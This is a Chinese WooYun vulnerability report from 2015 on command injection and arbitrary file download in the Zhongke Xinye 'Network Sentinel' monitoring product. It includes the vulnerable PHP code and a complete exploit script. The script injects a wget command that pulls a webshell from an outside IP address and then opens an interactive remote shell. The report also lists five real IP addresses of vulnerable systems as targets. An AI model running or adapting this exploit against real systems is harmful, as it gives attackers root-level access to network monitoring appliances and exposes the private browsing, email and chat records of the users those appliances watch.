当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110537

漏洞标题:中科新业网络哨兵任意下载&命令执行getshell

相关厂商:中科新业

漏洞作者: 路人甲

提交时间:2015-04-27 11:52

修复时间:2015-07-29 10:32

公开时间:2015-07-29 10:32

漏洞类型:命令执行

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-27: 细节已通知厂商并且等待厂商处理中
2015-04-30: 厂商已经确认,细节仅向厂商公开
2015-05-03: 细节向第三方安全合作伙伴开放
2015-06-24: 细节向核心白帽子及相关领域专家公开
2015-07-04: 细节向普通白帽子公开
2015-07-14: 细节向实习白帽子公开
2015-07-29: 细节向公众公开

简要描述:

中科新业网络哨兵任意下载&命令执行getshell,导致其所监控的网络内网络用户隐私泄露,包括上网记录,邮件,聊天记录等

详细说明:

漏洞文件:

/manage/admin/export.php?gCommand=woo


部分代码为

header( "Content-Type: text/html; charset=utf-8" );
include( "../include/globalvar.h" );
if ( $kind == "log" ){
$gFilePath = $gNetGuardLogFilePath;
$fileContent = file_get_contents( $gFilePath.$filename );
}
else if ( $gCommand == "zero_tools" ){
$base_dir = $gFileTransferSavePath."tools";
$tmp = array( );
exec( "./syscommand \"".$base_dir.base64_decode( $cmd )."\"", $tmp );
$fileContent = join( "\r\n", $tmp );
$filename = $gCommand.".txt";
}else{
$tmp = array( );
exec( "./syscommand \"".$gCommand."\"", $tmp );
$fileContent = join( "\r\n", $tmp );
$filename = $gCommand.".txt";
}
header( "Content-Disposition: attachment; filename=\"".$filename."\"" );
echo $fileContent;
?>


很简单的代码却包含了任意文件下载及多处任意命令执行漏洞,根据漏洞信息,可以很容易的编写利用代码:

<?php
$host = @$argv['1'];
$port = @$argv['2'];
if(count($argv)<3) die("\n Usage : exp.php 127.0.0.1 80\n");
$code = "wget%20http://61.139.133.70/images/menu1.gif%20-O%20bsh.php";
$path = "/manage/admin/export.php?gCommand=woo||".$code."||yun";
$url = ($port == '443') ? "https://".$host : $url = "http://".$host;
$resp = request($url.$path);
$sh = "/manage/admin/bsh.php";
while(true){
print "\nroot@bash# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$header = array("Cmd"=>base64_encode($cmd));
$resps = request($url.$sh,$header);
preg_match('/___(.*)/is', $resps, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
function request($url, $headers = array(), $post='',$timeout=30){
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
if(is_array($headers) && !empty($headers)){
$header = array();
foreach ($headers as $key=>$val){
$header[] = "$key: $val";
}
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
}
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post);
curl_setopt($curl, CURLOPT_TIMEOUT, $timeout);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$resp = curl_exec($curl);
if(curl_errno($curl)){
return curl_error($curl);
}
curl_close($curl);
return $resp;
}
?>


运行利用代码,即可获取到网站的权限,如下图所示:

php export_exp.php 219.134.131.240 443


3.png


5个案例:
https://219.134.131.240
https://218.246.71.229
https://218.26.227.5
https://222.22.224.3
https://124.164.234.204

漏洞证明:

https://219.134.131.240/manage/admin/bsh.php?x=phpinfo();

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-04-30 10:32

厂商回复:

CNVD确认所述情况,已经由CNVD通过网站公开联系方式(或以往建立的处置渠道)向网站管理单位(软件生产厂商)通报。

最新状态:

暂无